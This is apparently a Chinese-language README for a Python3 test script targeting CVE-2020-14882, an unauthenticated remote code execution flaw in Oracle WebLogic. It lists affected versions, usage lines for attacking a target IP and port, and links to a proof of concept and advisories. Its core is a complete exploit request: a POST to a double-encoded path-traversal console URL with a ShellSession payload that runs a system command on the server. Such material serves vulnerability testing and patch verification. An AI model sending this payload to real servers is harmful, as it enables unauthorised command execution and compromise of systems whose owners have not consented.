(CVE-2020–14882) Weblogic 未授权绕过 RCE

(CVE-2020-14882) Oracle Weblogic 未授权绕过 RCE 测试脚本 支持 Python3

请求

POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
Host: <Target IP>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 128

_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('ipconfig');");

测试脚本使用 pcre 检查响应数据。

用法

- 7001/tcp（WebLogic 默认端口） 
Oracle Weblogic Auth Bypass RCE(CVE-2020–14882).py <Target IP>

- 指定端口/tcp 
Oracle Weblogic Auth Bypass RCE(CVE-2020–14882).py <Target IP> <port>

受影响版本

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

PoC

https://github.com/jas502n/CVE-2020-14882

参考

https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.tenable.com/blog/cve-2020-14882-oracle-weblogic-remote-code-execution-vulnerability-exploited-in-the-wild